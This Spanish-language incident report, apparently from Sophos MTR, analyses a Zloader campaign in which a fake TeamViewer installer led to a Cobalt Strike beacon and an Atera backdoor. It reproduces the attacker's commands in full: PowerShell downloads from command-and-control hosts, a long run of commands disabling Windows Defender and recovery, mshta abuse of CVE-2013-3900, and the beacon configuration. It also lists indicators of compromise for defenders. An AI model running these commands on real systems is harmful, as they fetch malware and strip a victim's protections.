Zloader instala puertas traseras de acceso remoto y Cobalt Strike

Zloader es un troyano bancario con vínculos históricos con el malware Zeus. Recientemente, las filiales de ransomware Egregor y Ryuk utilizaron Zloader como punto de entrada inicial. Zloader presenta capacidades de acceso remoto VNC y se ofreció en el foro de ciberdelincuencia de habla rusa exploit[.]in.

Zloader infecta a los usuarios aprovechando publicidad web fraudulenta para redirigir a los usuarios a descargas de archivos MSI maliciosos. Durante el año pasado, los archivos MSI de Zloader se disfrazaron como instaladores de aplicaciones de trabajo remoto como Zoom, TeamViewer y Discord.

El equipo de Sophos Managed Threat Response (MTR) detectó y respondió recientemente a una campaña de Zloader que desplegó CobaltStrike e instaló el agente de Atera para acceso remoto permanente. MTR observó que Zloader aprovechaba una vulnerabilidad conocida en Windows que permitía agregar contenido de script malicioso a archivos firmados digitalmente proporcionados por Microsoft, CVE-2013-3900. En el último mes, otras dos organizaciones han compartido investigaciones relacionadas con esta campaña. Checkpoint publicó por primera vez detalles sobre cómo Zloader abusa de CVE-2013-3900. Poco después, Walmart GlobalTech detalló la investigación sobre esta campaña de ataque, incluidos sus hallazgos de que “las infecciones se encuentran principalmente en los EEUU y Europa”. Dadas las observaciones únicas de Sophos con respecto al acceso inicial y a la baliza de CobaltStrike desplegada, queremos publicar nuestra correspondiente investigación.

Cronología de eventos

19:29

El viernes 10 de diciembre, un usuario de una empresa automotriz estadounidense intentó instalar una herramienta de acceso remoto en su ordenador mediante la búsqueda en Google de “descarga de TeamViewer”. Desafortunadamente, este usuario hizo clic accidentalmente en un anuncio fraudulento, descargó y luego ejecutó un paquete de instalación malicioso llamado TeamViewer.msi.

La descarga maliciosa se realizó utilizando el dominio teamviewer-u[.]com. Este dominio de comando y control compartía la misma dirección IP de hosting que el dominio zoomvideoconference[.]com de Zloader en el momento de nuestro análisis.

19:30

Cuando se corrió el TeamViewer.msi descargado, escribió en el disco un ejecutable malicioso llamado internal.exe. El ejecutable malicioso se lanzó en paralelo a la aplicación legítima de TeamViewer:

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe

internal.exe lanzó un script de instalación que descargó y ejecutó malware adicional desde un servidor de comando y control de Zloader, clouds222[.]com.

cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat
powershell Invoke-WebRequest  https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat

El script descargado flash.bat ejecutó un script VBS diseñado para eludir el control de la aplicaciones del usuario y elevar los privilegios del atacante.

"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system"
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"

19:31

Luego, flash.bat se ejecutó por segunda vez, pero esta vez se aprovechó para descargar payloads y herramientas adicionales de clouds222[.]com.

powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
ping 127.0.0.1 -n 3
cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat"
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"

Aproximadamente dos minutos después de la ejecución inicial del malware MSI, se ejecutó el archivo descargado flashupdate.ps1. Este script contenía funcionalidad para instalar GnuPg y descifrar los payloads.

"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S
"C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""

El script de PowerShell flashupdate.ps1 ejecutó otro script posterior a la explotación ais.bat. Este script por lotes se apalancó en commandaadmin[.]com para descargar una copia renombrada de la herramienta NSudo, un programa que los ciberdelincuentes usan habitualmente para ejecutar procesos con privilegios elevados (TrustedInstaller). El script usó reg.exe para alterar varias claves de registro para evadir la detección, como la supresión de notificaciones para Windows Defender. Bcdedit.exe se usa para deshabilitar la reparación de inicio de Windows antes de deshabilitar Windows Defender a través de ‘sc config’. Se sospecha que ais.bat se deriva de un script de código abierto llamado “Defeat-Defender” que afirma “desmantelar la protección completa de Windows Defender” en función de las similitudes en los comandos observados.

powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe
adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
adminpriv -U:T sc config WinDefend start= disabled
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat

Los payloads descargadas appContast.dll y apiicontrast.dl se apalancan en una vulnerabilidad conocida en Windows, CVE-2013-3900. Esto permitió a Zloader agregar contenido de script malicioso a un archivo firmado digitalmente por Microsoft. El contenido del script adjunto se ejecuta utilizando el binario de Windows mshta.exe.

cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll

Se observaron comandos de evasión de defensa adicionales cuando se ejecutó appContrast.dll. Se aprovechó PowerShell para manipular los módulos de Windows Defender:

Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*'
Add-MpPreference -ExclusionPath 'C:\Users\User\*'
Add-MpPreference -ExclusionPath 'C:\Users\User'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\'
Set-MpPreference -MAPSReporting 0
Add-MpPreference -ExclusionProcess 'regsvr32'
Add-MpPreference -ExclusionProcess 'powershell.exe'
Add-MpPreference -ExclusionExtension '.exe'
Add-MpPreference -ExclusionProcess 'regsvr32*'
Add-MpPreference -ExclusionProcess '.dll'
Add-MpPreference -ExclusionProcess '*.dll'
Set-MpPreference -PUAProtection disable
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Add-MpPreference -ExclusionProcess '*.exe'
Add-MpPreference -ExclusionProcess 'explorer.exe'
Add-MpPreference -ExclusionProcess '.exe'
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
Add-MpPreference -ExclusionProcess 'msiexec.exe'
Add-MpPreference -ExclusionProcess 'rundll32.exe'
Add-MpPreference -ExclusionProcess 'rundll32*'

Cuando apiicontrast.dll se ejecuta con MSHTA, se inicia un script de suspensión de VBS antes del descifrado y la ejecución de un payload de Cobalt Strike, zoom.dll. El usuario de Twitter @nao_sec observó por primera vez que esta contraseña de descifrado de GPG estaba asociada a Zloader el 28 de noviembre.

"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000
"C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup'
"C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer
"C:\Windows\System32\cmd.exe" /c zoom1.msi
"C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll

Al mismo tiempo, msiexec instaló una puerta trasera de acceso remoto a través de AteraAgent. Los actores malciosos vinculados al ransomware Conti emplean con frecuencia AteraAgent y otras herramientas de acceso remoto.

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe"
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId=""
NET STOP AteraAgent
taskkill /f /im AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u
"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""

El payload descifrado Zoom.dll de Cobalt Strike intenta comunicarse con el servidor C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js usando la configuración de BALIZA que mostramos a continuación.

{
    "BeaconType": [
        "HTTP"
    ],
    "Port": 80,
    "SleepTime": 5000,
    "MaxGetSize": 1403644,
    "Jitter": 10,
    "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L
tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077
fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
    "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4",
    "C2Server": "sdilok.com,/jquery-3.3.1.min.js",
    "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
    "HttpPostUri": "/jquery-3.3.2.min.js",
    "Malleable_C2_Instructions": [
        "Remove 1522 bytes from the end",
        "Remove 84 bytes from the beginning",
        "Remove 3931 bytes from the beginning",
        "Base64 URL-safe decode",
        "XOR mask w/ random key"
    ],
    "HttpGet_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [
            "base64url",
            "prepend \"__cfduid=\"",
            "header \"Cookie\""
        ],
        "SessionId": [],
        "Output": []
    },
    "HttpPost_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [],
        "SessionId": [
            "mask",
            "base64url",
            "parameter \"__cfduid\""
        ],
        "Output": [
            "mask",
            "base64url",
            "print"
        ]
    },
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "SSH_Banner": "",
    "HttpGet_Verb": "GET",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
    "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe",
    "CryptoScheme": 0,
    "Proxy_Behavior": "Use IE settings",
    "Watermark": 0,
    "bStageCleanup": "True",
    "bCFGCaution": "False",
    "KillDate": 0,
    "bProcInject_StartRWX": "False",
    "bProcInject_UseRWX": "False",
    "bProcInject_MinAllocSize": 17500,
    "ProcInject_PrependAppend_x86": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_PrependAppend_x64": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_Execute": [
        "ntdll:RtlUserThreadStart",
        "CreateThread",
        "NtQueueApcThread-s",
        "CreateRemoteThread",
        "RtlCreateUserThread"
    ],
    "ProcInject_AllocationMethod": "NtMapViewOfSection",
    "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",
    "bUsesCookies": "True",
    "HostHeader": "",
    "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "DNS_strategy": "round-robin",
    "DNS_strategy_rotate_seconds": -1,
    "DNS_strategy_fail_x": -1,
    "DNS_strategy_fail_seconds": -1
}

Respuesta y Reparación

19:34

Sophos EDR/XDR detecta la carga útil de Cobalt Strike en la memoria como “C2_6a T1071.001 mem/cobalt-d” y toma medidas automáticamente para finalizar el proceso malicioso rundll32.exe y limpiar la carga útil de Cobalt Strike del disco.

19:35

El equipo de MTR de Sophos ha creado una investigación para los comandos sospechosos y para la detección de Cobalt Strike. Cobalt Strike es un agente de acceso remoto muy utilizado por los adversarios y es un precursor común de la actividad de ransomware.

19:37

Un analista de Sophos MTR comenzó a responder al caso solo seis minutos después de la ejecución inicial del malware. El equipo de MTR aisló el host afectado para evitar el movimiento lateral mientras tomaba las acciones de respuesta. Durante la investigación, el equipo de MTR colaboró ​​estrechamente con SophosLabs para tomar de inmediato las medidas necesarias para ayudar a proteger a los clientes de Sophos en general. MTR deshabilitó la puerta trasera de Atera y colaboró ​​con el cliente afectado para limitar con éxito el impacto en una estación de trabajo.

Indicadores de compromiso

Indicador Tipo
teamviewer-u[.]com Comando y control
zoomvideoconference[.]com Comando y control
https[:]//sdilok[.]com/jquery-3.3.1.min.js Comando y control: Cobalt Strike
https[:]//clouds222[.]com Comando y control
https[:]//commandaadmin[.]com Comando y control
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c Archivo – ‘TeamViewer.msi’
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f Archivo – ‘auto.bat’
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 Archivo – ‘internal.exe
3a80a49efaac5d839400e4fb8f803243fb39a513 Archivo – ‘adminpriv.exe’
5c59ef0d8c0919082128e98a757d844c0ace54e3 Archivo – ‘ais.bat’
23136ecb2edb263db390b6b9fcf9000ff23441a9 Archivo – ‘appContast.dll’
5912bfbd07dec5dd7798e7cb413299c788a8fd9e Archivo – ‘flashupdate.ps1’
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c Archivo – ‘zoom1.msi.gpg’
b350b770b8b79ffb16574d59e4ca4fafacca19cd Archivo – ‘zoom1.msi’
41a47cc8807121cac19597bc0455084e714604bc Archivo – ‘zoom2.dll.gpg’
2c15d43aab71465c9308e0cc306339925d47dea3 Archivo – ‘zoom2.dll’

Mapeo MITRE ATT&CK

Táctica MITRE Técnica MITRE
Acceso inicial T1189 – Compromiso de paso
Ejecución T1059 – Intérprete de comandos y secuencias de comandos
T1204 – Ejecución del usuario
Persistencia T1543 – Crear o modificar el proceso del sistema
Escalada de privilegios T1055 – Inyección de proceso
T1548 – Mecanismo de Control de Elevación de Abuso
Evasión de defensa T1218 – Ejecución de proxy binario firmadoT1562 – Deterioro de las defensas
T1036 – Enmascaramiento
T1140 – Desofuscar/ Decodificar archivos o información
Comando & Control T1219 – Software de acceso remoto
T1071 – Protocolo de capa de aplicación: Protocolos web
Descubrimiento T1482 – Descubrimiento de confianza de dominio
Exfiltración T1041 – Exfiltración sobre el canal C&C

 

Escrito e investigado por Colin Cowie con el apoyo de Stan Andic y el equipo MTR de Sophos.